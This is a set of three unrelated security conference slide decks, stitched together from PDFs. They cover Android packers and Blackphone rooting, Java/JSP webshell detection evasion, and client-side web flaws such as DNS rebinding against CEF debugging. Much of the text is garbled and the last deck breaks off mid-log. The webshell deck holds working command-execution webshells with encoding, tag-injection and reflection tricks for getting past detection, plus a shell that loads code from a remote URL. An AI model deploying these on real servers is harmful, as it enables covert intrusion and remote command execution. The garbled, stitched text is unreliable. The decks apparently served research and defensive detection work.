byte[]!myIV!=!new!byte[]{!...!};!//!IV!
byte[]!encDex!=!new!byte[]{!...!};!//!Encrypted!zip/dex!
!
int!inputLen!=!0x7FD;!//!inputLen!
int!inputOffset!=!0x14;!//!inputOffset!
!!!!!!
Cipher!cipher!=!Cipher.getInstance("AES/CFB/NoPadding");!
!
SecretKeySpec!secretKeySpec!=!new!SecretKeySpec(myKey,!"AES");!
IvParameterSpec!ivSpec!=!new!IvParameterSpec(myIV);!
cipher.init(Cipher.DECRYPT_MODE,!secretKeySpec,!ivSpec);!
byte[]!decDex!=!cipher.doFinal(encDex,!inputOffset,!inputLen);
Optimizers & Obfuscators
DEXGUARD
Class Encryption
byte[]!zipHeader!=!new!byte[]{0x50,!0x4B,!0x03,!0x04};!
byte[]!zipbuf!=!new!byte[4];!
int!i!=!0;!
for!(i!=!0;!i!<!decDex.length!G!3;!++i)!{!//!Locate!header!of!the!zip!file!
!
zipbuf[0]!=!decDex[i];!
!
zipbuf[1]!=!decDex[i!+!1];!
!
zipbuf[2]!=!decDex[i!+!2];!
!
zipbuf[3]!=!decDex[i!+!3];!
!
if!(Arrays.equals(zipHeader,!zipbuf))!{!
!
!
break;!
!
}!
}!
!!
byte[]!outDex!=!new!byte[decDex.length!G!i];!
int!j!=!0;!
while!(!(j!==!outDex.length))!{!
!
outDex[j]!=!decDex[i];!
!
++j;!
!
++i;!
}!
!!!!!!!!!!!!!
ByteArrayInputStream!bis!=!new!ByteArrayInputStream(outDex);!
FileOutputStream!fileOutputStream!=!new!FileOutputStream(output);!
byte[]!buf!=!new!byte[4*1024];!
int!read;!
while!((read!=!bis.read(buf))!!=!G1)!{!
!
fileOutputStream.write(buf,!0,!read);!
}
Optimizers & Obfuscators
DEXGUARD
• May increase dex file size
• May decrease app speed
• May increase memory usage
• Removes debug information
• Automatic string encryption
• Asset, Library, Class encryption
• Best Feature: Automatic reflection (combined with string enc)
• Moderately priced & easy to use
• Reversible with moderate effort
!
• “Hacker Protection Factor 1”
Optimizers & Obfuscators
ALLATORI
• Optimizer
• Shrinker
!
• Obfuscator
!
• Watermarker
!
• Cost: $290
!
• Free Academic Version
Java Code
javac
Java Class Files
Allatori
Optimized/Shrunk/Obfuscated
Class Files
dx
classes.dex file
What we attack
at the end
Optimizers & Obfuscators
ALLATORI
• Name obfuscation
• Control flow flattening/obfuscation
• Debug info obfuscation
• String encryption
What does it do?
Optimizers & Obfuscators
ALLATORI
public class OnBootReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent){
if (!new File("/system/xbin/su").exists()) {
if (new File("/data/data/com.cunninglogic.weaksauce/temp/onboot").exists())
Weak.peppers(context);
}
}
}
public!void!onReceive(Context!arg0,!Intent!arg1)!{!
!
if(!new!File(K.A("L\u0019\u001A\u0019\u0017\u000F\u000EE\u001B\b\n\u0004L\u0019\u0016")).exists()!&&!
!
!
(new!File(K.A(“L\u000E\u0002\u001E\u0002E\u0007\u000B\u0017\u000BL\t\f\u0007M\t\u0016\u0004\r\u0003\r\r
\u000F\u0005\u0004\u0003\u0000D\u0014\u000F\u0002\u0001\u0010\u000B\u0016\t\u0006E\u0017\u000F\u000E\u001AL
\u0005\r\b\f\u0005\u0017”)).exists()))!{:
!!!!!!!!!!!!Weak.L(arg0);!
!
}!
}
Optimizers & Obfuscators
ALLATORI
public!static!String!A(String!arg0)!{!
!
int!i!=!arg0.length();!
!
char[]!array_ch!=!new!char[i];!
!
GGi;!
!
int!i1;!
!
for(i1!=!i;!i!>=!0;!i1!=!i)!{!
!
!
int!i2!=!i1!G!1;!
!
!
array_ch[i1]!=!((char)(arg0.charAt(i1)!^!0x63));!
!
!
if(i2!<!0)!{!
!
!
!
break;!
!
!
}!
!
!
!
i!=!i2!G!1;!
!
!
array_ch[i2]!=!((char)(arg0.charAt(i2)!^!0x6A));!
!
}!
!
!
return!new!String(array_ch);!
}
public!static!String!decrypt(String!enc_text)!{!
!
int!length!=!enc_text.length();!
!
char[]!plaintext!=!new!char[length];!
!
GGlength;!
!
int!i;!
!
for(i!=!length;!length!>=!0;!i!=!length)!{!
!
!
int!j!=!i!G!1;!
!
!
plaintext[i]!=!((char)(enc_text.charAt(i)!^!0x63));!
!
!
if(j!<!0)!!
!
!
!
break;!
!
!
}!
!
!
!
length!=!j!G!1;!
!
!
plaintext[j]!=!((char)(enc_text.charAt(j)!^!0x6A));!
!
}!
!
!
return!new!String(plaintext);!
}
Obfuscated
Encryption
Function
Deobfuscated
Encryption
Function
Optimizers & Obfuscators
ALLATORI
• Free licenses for educational use!
• Decreases dex file size
• Increases app speed
• Decreases memory usage
• Removes debug code
• Doesn’t do much in the ways of obfuscation
• “ProGuard + string encryption”
• Easily reversed
!
• “Hacker Protection Factor 0.5”
“PROTECTORS”
Protectors
APKPROTECT
• Chinese Protector
• Multiple iterations and rebrandings
• DexCrypt / APKProtect (Lite, PC, Advanced)
!
• “Appears” active
• Anti-debug
• Anti-decompile
• Almost like a packer
• String encryption
!
• Cost: $Free - $Expensive (Site non-functional)
Java Code
….
classes.dex file
desktop tool
(?)
Stub application
Mangled Code
Protectors
APKPROTECT
• Tool mangles original code
• Modifies entry point to loader stub
• Prevents static analysis
• During runtime loader stub is executed
• Performs anti-emulation
• Performs anti-debugging
• Fixes broken code in memory
!
<?xml version="1.0" encoding="utf-8"?>
<manifest
xmlns:android="http://schemas.android.com/apk/res/android"
android:versionCode="1"
android:versionName="1.0"
package="tyuyu.trurtyr.rgreuyt4"
>
<uses-permission
android:name="android.permission.SEND_SMS">
…
<application
android:theme="@7F070001"
android:label="@7F060000"
android:icon="@7F020000"
android:name="APKPMainAPP11177"
android:allowBackup="true"
>
Injected entrypoint inside
chargeware/malware sample
Dalvik stub code, calling native stub
Mangled code as
seen during static analysis
Protectors
APKPROTECT
1. Dalvik Optimizes the Dex file into memory, ignoring “bad” parts
2. Upon execution Dalvik code initiates, calls the native code
3. Native code fixes Odex in memory
4. Execution continues as normal
JNI_onLoad {
ptrace(PTRACE_TRACEME, 0, NULL, NULL) //anti-debug
if(!find_odex_file()) // anti-analysis
create_infinitely_sleeping_thread();
if(find_qemud_process()) // anti-emulation
create_infinitely_sleeping_thread();
patch_odex();
return JNI_VERSION_1_6;
}
find_qemud_process() {
for(int i = 0; i < 0x65; i++)
if( hash(read(“/proc/%d/cmdline”, i))
== hash(“/system/bin/qemud”))
return true;
return false;
}
Protectors
APKPROTECT
APK
Native Lib
Mangled Code
Dex File
Memory
Native Lib
Patched/Fixed
Code
Optimized
Dex File
Run once just steal
fixed odex from memory
• Winning is easy!
• Avoid using QEMU or use
LD_PRELOAD hack released
with talk (nerf strlen() when
assessing /system/bin/qemud)
• Attach to cloned process
(no ptrace worries)
• Dump odex, de-odex with baksmali
• Reverse modified Base64 + DES string
encryption
• Have the original code!
Static Analysis
After running
Protectors
APKPROTECT
• Awesome concept and fun to reverse!
• Slight file size increase
• Prevents easily static analysis
• Interesting techniques to detect analysis (though not awesome)
• “Hard” once, easy afterwards
• Easily automated to unprotect
• Still has string encryption (similar to DexGuard/Allitori) afterwards
• Hacker Protection Factor 3
PACKERS
Packers
HOSEDEX2JAR
• “POC” Packer
• Not viable for real use
• Appears defunct
• Near zero ITW samples
• Mimics “Dexception” attack from Dex Education 101
• Cost: Free
Java Code
….
classes.dex file
Easiest attack
surface
Cloud Service
Stub application
Encrypted code
(classes.dex)
Packers
HOSEDEX2JAR
• Encrypts and injects dex file into
dex header (deception)
• Very easy to spot
• Very easy to decrypt - just use dex2jar ;)
!
(010Editor colorized DEX Template)
modified
header size
modified
header size
value
encrypted
dex
Packers
HOSEDEX2JAR
APK
Injected Code
Stub dex File
Memory
Injected Code
Optimized
Dex File
Run static tool here
• On execution loader stub decrypts
in memory and dumps to file system
• Loader stub acts as proxy and passes
events to the Dex file on file system using
a DexClassLoader
• Static unpacker (wrapping stub code with
dex2jar output) available;
http://github.com/strazzere/dehoser/
Static Analysis
After running
File System
Decrypted
Dex File
Just grab during dynamic run here
Packers
HOSEDEX2JAR
• Simple POC
• Slight file size increase
• Attempts to prevent static analysis - sort of works
• Lots of crashing
• Easily automated to unpack
• Easy to reverse, good for learning
• Hacker Protection Factor 0.5
Packers
PANGXIE
• Chinese Packer
• Anti-debug
• Anti-tamper
• ???
• Appears to be defunct product
• Little usage/samples ITW
• Cost: ???
Java Code
….
classes.dex file
Easiest attack
surface
???
Stub application
Encrypted code
(classes.dex)
Packers
PANGXIE
• Encrypts dex file and bundled as asset in APK
• Very easy to spot (logcat’s too much information)
• Dalvik calls JNI layer to verify and decrypt
• Easy to reverse (both dalvik and native)
excellent for beginners to Android and packers
!
APK
First Execution?
Yes
JNI verify
integrity
No
Decrypt
Dex to filesystem
Proxy over DexClassLoader
Packers
PANGXIE
• AES “used” … only for digest
verification
• Easily automated…
0x54 always the “key”
• Or dynamically grab the
/data/data/%package_name%
/app_dex folder
!
Packers
PANGXIE
• Or dynamically grab the
/data/data/%package_name%/app_dex folder
!
Packers
PANGXIE
• Slight file size increase
• Prevents static analysis - though easy to identify
• Uses static 1 byte key for encryption
• Easily automated to unpack
• Very easy to reverse, good for learning
• Good example of an unobfuscated packer stub for cloning
• Hacker Protection Factor 1.5
Packers
BANGCLE
• Anti-debugging
• Anti-tamper
• Anti-decompilation
• Anti-runtime injection
• Online only service
• “APKs checked for malware before
packaging”
• Generically detected by some AVs due to risk
!
• Cost: ~$10k
!
• “No one has done it before”
Java Code
….
classes.dex file
Easiest attack
surface
App Approval
&
Malware Check
Cloud Service
Stub application
Encrypted code
(classes.dex)
Packers
BANGCLE
• Dalvik execution talks launches JNI
• JNI launches a secondary process
• Chatter over PTRACE between the two processes
• Newest process decrypts Dex into memory
• Original Dalvik code proxies everything to decrypted
Dex
Dalvik
First Execution?
Yes
JNI anti-debug
launch separate
process
No
Decrypt Dex
into memory
set up proxy
Proxy over DexClassLoader
ptrace chatter
ptrace chatter
Packers
BANGCLE
Original Dalvik process
Two forked native processes
Cloned processes that are attachable
Packers
BANGCLE
Still encrypted
Always the decrypted memory region
Packers
BANGCLE
• Well written, lots of anti-* tricks
• Seems to be well supported and active on development
• Does a decent job at online screening - no tool released for download
• Though things clearly to slip through
• Not impossible to reverse and re-bundle packages
• Current weakness (for easy runtime unpacking) is having a predictable
unpacked memory location
• Hacker Protect Factor 5
NOW WHAT?
CODE!
• Open-sourced unpacker
• https://github.com/strazzere/android-unpacker (push after this talk)
• Bangcle
• Most popular/highest prevalence
• Plenty of malicious/grey area samples
• APKProtect
• High prevalence and graining more traction (offline tools)
• Malicious/grey area samples
• More packers added as malware/prevalence emerges
• Slim anti-detection code
• APKProtect LD_PRELOAD module (same repo as android-unpacker)
• https://github.com/strazzere/android-lkms
• Malicious samples uploaded soon to ContagioMinidump (mobile malware)
• http://contagiominidump.blogspot.com/
BLACKPHONE
• ROOTED!
• Three stages of exploits
• Requires user interaction
What you’re actually here for…
BLACKPHONE
• Stage 1
• “turned ADB off because it causes a software
bug and potentially impacts the
user experience"
• Removed UI accessibility from settings APK
• Just send an intent to pop the menu
Enabled ADB
ComponentName intentComponent = new ComponentName("com.android.settings",
"com.android.settings.Settings$DevelopmentSettingsActivity");
Intent mainIntent = new Intent("android.intent.action.MAIN");
mainIntent.setComponent(intentComponent);
startActivity(mainIntent);
BLACKPHONE
• Stage 2
• Fixed in latest OTA
(vuln out of
box though)
• System privledged
APK w/ debuggable
set to true
• Allows us to get
System UID
• Enlarge attack surface
• http://www.saurik.com/id/17 exploit how-to
Get System UID
BLACKPHONE
• Stage 3
• There are some out there for Android
• One has been used here
• Sorry - cannot currently disclose!
System to root
BLACKPHONE
DEMO
• Stage 1 - Enable ADB
• Stage 2 - Get System UID
• Stage 3 - System to root
08.10.2014
THANKS!
TIM “DIFF” STRAZZERE JON “JUSTIN CASE” SAWYER
Defcon 22
@TIMSTRAZZ @TEAMANDIRC
Join use on Freenode on #droidsec
!
Good people to follow on twitter for
Android/reversing/malware/hacking information;
@jduck @Fuzion24 @Gunther_AR @caleb_fenton @thomas_cannon
@droidsec @marcwrogers @osxreverser @cryptax @pof @quine
@0xroot @Xylitol @djbliss @saurik @collinrm @snare
#MalwareMustDie | pdf |
刘镇东（yzddMr6），阿里云安全工程师
ØAntSword开发组核心成员，开源工具As-Exploits、WebCrack、webshell-venom作者
Ø目前主要从事Webshell攻防研究，以及阿里云恶意文本检测引擎的建设
ØGithub: yzddMr6
ØBlog: yzddmr6.com
ØCTF: L3H_Sec
• Webshell通常是打开权限大门的第一块“破门砖”
• Java Webshell在攻防演练中占据着重要的地位
• 随着各类防护设备不断升级，如何逃避检测成为攻击者最关心的问题
l Tomcat解析篇
l 危险类篇
l 流量对抗篇
令人头疼的编码
Tomcat解析篇
• Jsp中可以⽤Unicode或者变形Unicode(\uuuuuuxxxx)这种格式来对恶意代码进⾏混淆
• 如果Webshell检测引擎没有对其进行正确的解码处理，就会被直接“降维打击”，产生绕过
• 这种简单、通用的混淆方式已经被攻击者广泛使用，大部分安全设备也已经支持检测
<% Runtime.getRuntim\u0065().\uuuuu0065xec(request.getParameter("cmd")); %>
<%
\uuuuuuuuu0052\uuuuuuuuuuuuu0075\uuuu006e\uu0074\u0069\u006d\u0065\u002e\u0067
\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065
\u0078\u0065\u0063\u0028\u0072\u0065\u0071\uuuuuuu0075\u0065\u0073\u0074\uuuuu
002e\u0067\u0065\u0074\u0050\u0061\uuuu0072\u0061\u006d\u0065\u0074\u0065\u007
2\u0028\u0022\u0063\u006d\u0064\uu0022\u0029\u0029\u003b %>
Q：为什么支持Unicode的写法？
A：Javac/ecj在底层解析字符的时候支持Unicode编码
Q：为什么支持\uuuuu这种格式？
A：解析过程中只要‘\’的下一个字符是‘u’ 编译器就会一直继续循环，读取下一个字符
do {
bp++; //读取下一个字符
ch = buf[bp];
} while (ch == ‘u’);//只要‘\’的下一个字符是u，就会一直继续循环
•
Javac：com.sun.tools.javac.parser.UnicodeReader#convertUnicode
•
ecj：org.eclipse.jdt.internal.compiler.parser.Scanner#getNextUnicodeChar
这种简单、有效的通杀混淆方式让我们着迷，同时也引起我们的思考：
是否还存在其他的“降维打击”方式？
• Tomcat内部支持了很多小众的字符集编码
• 如果检测引擎不支持这些字符集，对其而言就是一堆无法识别的乱码
• 用这些特殊的字符集来构造Webshell，就可以实现“降维打击”
Tomcat对于编码的解析过程
org.apache.jasper.compiler.ParserController#doParse
(开始页面解析)
org.apache.jasper.compiler.ParserController
#determineSyntaxAndEncoding
(分析文件编码)
org.apache.jasper.compiler.EncodingDetector
(Jspx: 通过BOM头判断编码)
org.apache.jasper.compiler.ParserController
#getPageEncodingForJspSyntax
(Jsp 从声明中提取编码类型)
UTF-8
(默认值)
ISO-8859-1
(默认值)
Encoding
b0
b1
b2
b3
UTF-16LE
0xFF
0xFE
*
*
UTF-16LE
0x3C
0x00
0x3F
0x00
UTF-16BE
0xFE
0xFF
*
*
UTF-16BE
0x00
0x3C
0x00
0x3F
ISO-10646-
UCS-4
0x00
0x00
0x00
0x3C
ISO-10646-
UCS-4
0x3C
0x00
0x00
0x00
ISO-10646-
UCS-4
0x00
0x00
0x3C
0x00
ISO-10646-
UCS-4
0x00
0x3C
0x00
0x00
CP037
0x4C
0x6F
0xA7
0x94
编码前
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:scriptlet>
Runtime.getRuntime().exec(request.getParameter("cmd"));
</jsp:scriptlet>
</jsp:root>
编码后
• 除了通过Bom头可以识别的几种内置编码以外，在Jsp中还可以通过标签来
显式声明指定的编码，大大扩展了我们可利用编码的范围
• Jsp中声明编码的四种形式
1. <%@ page contentType="charset=cp037" %>
2. <%@ page pageEncoding="cp037" %>
3. <jsp:directive.page contentType="charset=cp037"/>
4. <jsp:directive.page pageEncoding="cp037"/>
Q：Tomcat到底支持多少编码？
A：JDK8+Tomcat8.5下底层共支持900多种编码
Q：有多少编码可以被利用？
A：我们对这些编码进行逐个分析，并进行归一化处理，
共发现十余种可以被用来构造混淆Webshell的编码
• 单字节编码：cp037、cp290等
• 2或4字节编码：utf-16le， utf-16be等
• 4字节编码：utf-32le、utf-32be等
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
原始样本
编码后
可以被Tomcat解析执行
Java的字符集是支持别名的，也就是说以下这
些alias都等价于cp290，都可以用于Webshell
的变形：
•
ibm290
•
ibm-290
•
csIBM290
•
EBCDIC-JP-kana
•
290
• 在对JDK底层支持编码的分析过程中，我们发现了一个潜藏于JDK中数十年的编码转换BUG
• 该BUG在最新的JDK19中仍可复现，提交给JDK官方后，截至目前已经修复完毕
神奇的标签操作
Tomcat解析篇
• Jsp在被Tomcat加载到内存里之前，还要经过一层标签解析转换的阶段
• 利用标签解析转换的特性，可以构造出一些几乎不可读的混淆样本
• 如果检测引擎不能正确处理，我们就可以实现“降维打击”
Jsp被加载到内存里主要分为三个阶段：
从Jsp文件中提取
所有需要的信息
将信息填充到
Java模板文件中
编译Java文件
生成class并加载
org.apache.jasper.compiler.Compiler
#generateJava
org.apache.jasper.compiler.Compiler
#generateClass
关注重点
•
Jsp虽然不符合语法结构，但是嵌套后的Java文件前
后括号闭合了，也就可以被正常的编译解析
• Jsp在处理setProperty，useBean等属性
的时候没有对名称进行转义，导致在渲染模
板的时候可以代码逃逸
• 插进去的文本可以利用前后注释闭合，打
破检测引擎的语法结构分析
<jsp:setProperty name="\" + new java.util.function.Supplier<String>() {public
String get() { try{String s = request.getParameter(\"cmd\");Process process =
new ProcessBuilder().command(s.split(\" \")).start();} catch (Exception e)
{ e.printStackTrace();}return \"\";}}.get() + \"" property="*"/>
org.apache.jasper.runtime.JspRuntimeLibrary.introspect(_jspx_page_context.f
indAttribute("" + new java.util.function.Supplier<String>() {public String
get() { try{String s = request.getParameter("cmd");Process process = new
ProcessBuilder().command(s.split(" ")).start();} catch (Exception e)
{ e.printStackTrace();}return "";}}.get() + ""), request);
Jsp
渲染为Java后
TIPS：文件上传场景可用于绕过对<%等Jsp标签的过滤
<jsp:useBean
id="a;java.lang.Runtime.getRuntime().exec(request.getParameter(\"cmd\
"));/*" type="java.lang.Class" beanName=";"></jsp:useBean>
<jsp:setProperty name="\"*/ //" property="*"></jsp:setProperty>
java.lang.Class a;java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));/* = null;
a;java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));/* = (java.lang.Class)
_jspx_page_context.getAttribute("a;java.lang.Runtime.getRuntime().exec(request.getParameter(\"cmd\"));/*",
javax.servlet.jsp.PageContext.PAGE_SCOPE);
if (a;java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));/* == null){...}
out.write('\n');
org.apache.jasper.runtime.JspRuntimeLibrary.introspect(_jspx_page_context.findAttribute(""*/ //"), request);
Jsp
渲染为Java后
•
Tomcat在识别Jspx文件后，会调用XML解析器来解析标签
•
可以利用XML字符串相关特性来实现绕过：HTML实体编码(hex、dec)、CDATA、...
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:scriptlet>
<![CDATA[Runti]]>me.getRuntime().exec(request.getParameter("test"));
</jsp:scriptlet>
</jsp:root>
第一层：反射方法
危险类篇
•
Java是一门面向对象的语言，在Java的底层存
在着各种复杂的调用
•
对于任意一个可以用来RCE的类，我们可以查
找他的底层实现类跟上层包装类
•
调用一个不存在在黑名单里面的类方法，就可
以绕过检测引擎
java.lang.Runtime#exec ->
•
sun.net.www.MimeLauncher#run
•
sun.security.krb5.internal.ccache.FileCredentialsCache#exec
•
com.sun.corba.se.impl.activation.ServerTableEntry#verify
思考
•
大多数函数方法修饰符是非Public的，会有比
较明显的反射调用函数的特征，增加被发现的
风险
•
除了直接的Runtime#exec以外，是否还可以
利用其他的命令执行类？
任意命令
执行
JNI调用
JNDI注入
Js引擎
EL表达式
反射
BCEL加载
字节码
Jshell
第二层：反射属性
危险类篇
为什么要反射类属性？
• 有些可能导致命令执行函数的参数是来自于类属性
• 反射修改类属性比反射调用函数特征更弱，更为隐蔽
• 我们可以通过反射修改类属性来完成任意命令执行
•
sun.print.UnixPrintServiceLookup#getDefaultPrintService
(Public)
•
sun.print.UnixPrintServiceLookup#getDefaultPrinterNameBSD
(Private)
•
static sun.print.UnixPrintServiceLookup#execCmd
(Private)
•
java.lang.Runtime#exec
String[] lpcFirstCom = new String[]{"/usr/sbin/lpc status | grep : | sed -ne '1,1 s/://p'", "/usr/sbin/lpc
status | grep -E '^[ 0-9a-zA-Z_-]*@' | awk -F'@' '{print $1}'"};
反射替换
String[] lpcFirstCom = new String[]{"open –a
Calculator"};
Field pollServices =
UnixPrintServiceLookup.class.getDeclaredField("pollServices");
pollServices.setAccessible(true);
pollServices.set(null, false);//跳过判断限制
Field libFound = CUPSPrinter.class.getDeclaredField("libFound");
libFound.setAccessible(true);
libFound.set(null, false); //跳过判断限制
UnixPrintServiceLookup lookup = new UnixPrintServiceLookup();
Field osname = UnixPrintServiceLookup.class.getDeclaredField("osname");
osname.setAccessible(true);
osname.set(null, "Linux"); //跳过判断限制
Field lpcFirstCom =
UnixPrintServiceLookup.class.getDeclaredField("lpcFirstCom");
lpcFirstCom.setAccessible(true);
lpcFirstCom.set(lookup, new String[]{"open -a Calculator"});
//要执行的恶意命令
lookup.getDefaultPrintService();
com.sun.javafx.property.PropertyReference#set
private void reflect() {
if (!reflected) {
reflected = true;
try {
... // 反射寻找setter跟getter方法
final Method m =
clazz.getMethod(setterName, type);
if (Modifier.isPublic(m.getModifiers())) {
setter = m;
}
}
}
public void set(Object bean, T value) {
if (!isWritable())
throw new IllegalStateException(
"Cannot write to readonly property " + name);
assert setter != null;
try {
MethodUtil.invoke(setter, bean, new Object[]
{value});
} catch (Exception ex) {
throw new RuntimeException(ex);
}
}
public boolean isWritable() {
reflect();
return setter != null;}
com.sun.javafx.property.PropertyReference#set
PropertyReference reference = new
PropertyReference(String.class, "test");
Field reflected =
PropertyReference.class.getDeclaredField("reflected");
reflected.setAccessible(true);
reflected.set(reference, true);//跳过判断限制
Method method = Runtime.class.getDeclaredMethod("exec",
String[].class);
Field setter =
PropertyReference.class.getDeclaredField("setter");
setter.setAccessible(true);
setter.set(reference, method);//设置恶意方法
reference.set(Runtime.getRuntime(), new String[]{“bash”,
“-c”, “open -a Calculator”});//要执行的恶意命令
第三层：无需反射
危险类篇
• 部分防守方做了一些变态的策略，反射函数跟反射属性都会被检测
• 我们可以找到一些可以直接实例化调用，且可以造成任意代码执行的类
• 仅利用正常的函数调用即可完成命令执行的目的，在文本层面毫无特征可言
<%
JARSoundbankReader reader = new JARSoundbankReader();
URL url = new URL("http://xx.xx.xx.xx/");
reader.getSoundbank(url);
%>
• 判断首页是否是一个ZIP文件
• 获取目录下META-INF/services/javax.sound.midi.Soundbank
• 读取文件，获取全限定类名
• 将URL添加到创建的URLClassLoader中，查找类名并进行实例化
任意代码执行
<%
JndiLoginModule module = new JndiLoginModule();
Map<String, String> map = new HashMap<>();
map.put(module.USER_PROVIDER, request.getParameter("provider"));
map.put(module.GROUP_PROVIDER, "group");
JAASRealm realm = new JAASRealm();
realm.setContainer(new StandardContext());
module.initialize(null, new JAASCallbackHandler(realm, "user",
"pass"), null, map);
module.login();
%>
•
com.sun.security.auth.module.JndiLoginModule#login
•
com.sun.security.auth.module.JndiLoginModule#attemptAuthentication
•
javax.naming.InitialContext#lookup
• 这些利用Java特性构造的Webshell，让安全人员也很难一眼也看出来有没有问题
• 通过自动化手段，我们发现JDK+Tomcat中还存在着很多类似的构造利用...
流量对抗篇
byte[] requestData = request.getParameter("passLine").getBytes();
requestData = unHex(requestData);
//hex解码
requestData = aes128(requestData, 2);
//aes128解码
Class payloadClass = null;
if ((payloadClass = (Class) application.getAttribute("randomStr")) == null) {
application.setAttribute("randomStr", new
Loader(getClass().getClassLoader()).loadClass(requestData));
} else {
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = payloadClass.newInstance();
f.equals(request);f.equals(arrOut);f.equals(requestData);f.toString();
byte[] responseData = arrOut.toByteArray();arrOut.reset();
responseData = base64Encode(responseData);
arrOut.write(base64Decode(“eyJkYXRhIjo=”.getBytes()));//解码后 {"data":
arrOut.write(responseData);
arrOut.write(base64Decode(“IiwibWVzc2FnZSI6b... ".getBytes()));
//解码后
","message":null,"sessionTimeOut":false,"success":true,"token":null,"total
":0}
responseData = arrOut.toByteArray();
response.setStatus(200);
response.setHeader("Content-Type", "application/json;charset=UTF-8");
//伪装成json传输
response.getOutputStream().write(responseData);
}
•
基于哥斯拉二次开发
•
流量上采用HEX+128AES强加密
•
伪装成json传输
•
基于冰蝎二次修改
•
加密方式AES>DES
•
多条件判断，防止被骑马
•
修改默认握手方式为Cookie传递秘钥
•
继承子类调用defineClass->反射调
用defineClass
• 规律：不管是一般的，还是魔改的WebShell工具
都是通过POST传输
• 原因：使用defineClass方式的Webshell
Payload过于巨大，超过了默认的Tomcat Header
大小（8024字节），所以只能使用POST传输
• 结果：流量侧检测设备都是重点监控POST请求，
对其进行“特殊关照”
POST /behinder.jsp HTTP/1.1
Host: xxx
Content-Length: 11480
Cookie: JSESSIONID=xxx;
Connection: close
POST /godzilla.jsp HTTP/1.1
Host: xxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 49341
Connection: close
POST /antSword.jsp HTTP/1.1
Host: xxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 7438
Connection: close
•
本人设计的基于JS引擎的Webshell Payload非常小，约
为2KB，刚好可以放到Header中
•
意味着我们可以通过GET等形式进行通信，并且可以把
Payload放到Header中的任意字段，更为隐蔽
GET /antjs.jsp?mr6={PAYLOAD} HTTP/1.1
Host: xxx
Accept-Encoding: gzip, deflate
User-Agent: {PAYLOAD}
Cookie: token={PAYLOAD}
Connection: close
<%
javax.script.ScriptEngine engine = new
javax.script.ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("mr6"));
%>
Shell原型
"use strict";
module.exports = (pwd, data, ext = {}) => {
ext.opts.httpConf.headers["Cookie"] =
`${pwd}=` +
Buffer.from(data["_"]).toString("base64");
delete data["_"];
return data;
};
•
在蚁剑中可以通过编码器+修改后端发
包模块实现
•
蓝队经常通过HTTP响应头以及返回页面信息来过滤扫描流量，以及判断是否请求成功
•
修改响应头，将Payload回显编码后放到WAF拦截页面
•
伪装成报错页面
•
页面上的时间会动态刷新
•
安骑士Webshell检测系统在不断对抗的过程中，逐步发展出了静态规则+动态沙箱引擎+模拟污点引擎
+机器学习等多种综合手段，并会不受单一维度的绕过影响
•
目前安骑士已经对外开放Webshell的检测能力，支持API化、SDK化，方便各种环境下接入使用
•
欢迎各位小伙伴们前来测试体验，反馈并提出宝贵意见，测试地址：https://ti.aliyun.com | pdf |
客户端 Web 漏洞案例浅析
2021/6/26 成都站
周智
深信服安全
技术沙⻰
⼤纲
• 总结⼀些难以归类的客户端混合漏洞案例
• CEF DNS rebinding 通⽤漏洞
• CVE-2020-9860: macOS HelpViewer XSS
• 某 iOS 应⽤跨 App 获取 cookie
• iOS WebView UXSS
• 某 Windows 视频客户端远程 DLL 注⼊
CEF DNS rebinding 通⽤漏洞
CEF
• CEF 全称 Chromium Embedded
Framework
• 在桌⾯应⽤中嵌⼊ Chromium 内
核的 WebView 控件
DNS rebinding
• ⼀种利⽤ DNS 域名解析绕过同源策略的⽅法
• 通过对同⼀域名前后返回不同地址
• ip1 的⽹⻚可以借受害者浏览器访问 ip2 的 http 服务
恶意⽹⻚
内⽹ http 服务
evil.rebind.com
123.123.123.123
evil.rebind.com
192.168.0.1
CEF 远程调试
• 部分桌⾯客户端误将 CEF 远程调试打开
• 即 Chrome Remote Debugging 协议，基于 HTTP 和 WebSocket
• 攻击者使⽤ DNS rebinding 可以直接访问 127.0.0.1 的 http 响应
• 获得 token 之后⽤ WebSocket 完全接管⽹⻚内容，进⼀步 RCE 等
• CEF 最新版本已经修复
Chrome 远程调试⽀持
$ curl -v localhost:12345/json -H "Host: evil.com:12345"
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 12345 (#0)
> GET /json HTTP/1.1
> Host: evil.com:12345
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Length:912
< Content-Type:application/json; charset=UTF-8
<
[{
"description": "",
"devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:12345/devtools/page/
51CC21EE-2FC2-4434-923A-68E7852665BA",
"id": "51CC21EE-2FC2-4434-923A-68E7852665BA",
"title": "example",
"type": "page",
"url": "https://example.com/",
"webSocketDebuggerUrl": "ws://localhost:12345/devtools/page/
51CC21EE-2FC2-4434-923A-68E7852665BA"
}]
$ curl -v localhost:12345/json -H "Host: evil.com:12345"
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 12345 (#0)
> GET /json HTTP/1.1
> Host: evil.com:12345
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Length:912
< Content-Type:application/json; charset=UTF-8
<
[{
"description": "",
"devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:12345/devtools/page/
51CC21EE-2FC2-4434-923A-68E7852665BA",
"id": "51CC21EE-2FC2-4434-923A-68E7852665BA",
"title": "example",
"type": "page",
"url": "https://example.com/",
"webSocketDebuggerUrl": "ws://localhost:12345/devtools/page/
51CC21EE-2FC2-4434-923A-68E7852665BA"
}]
$ curl -v localhost:12345/json -H "Host: evil.com:12345"
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 12345 (#0)
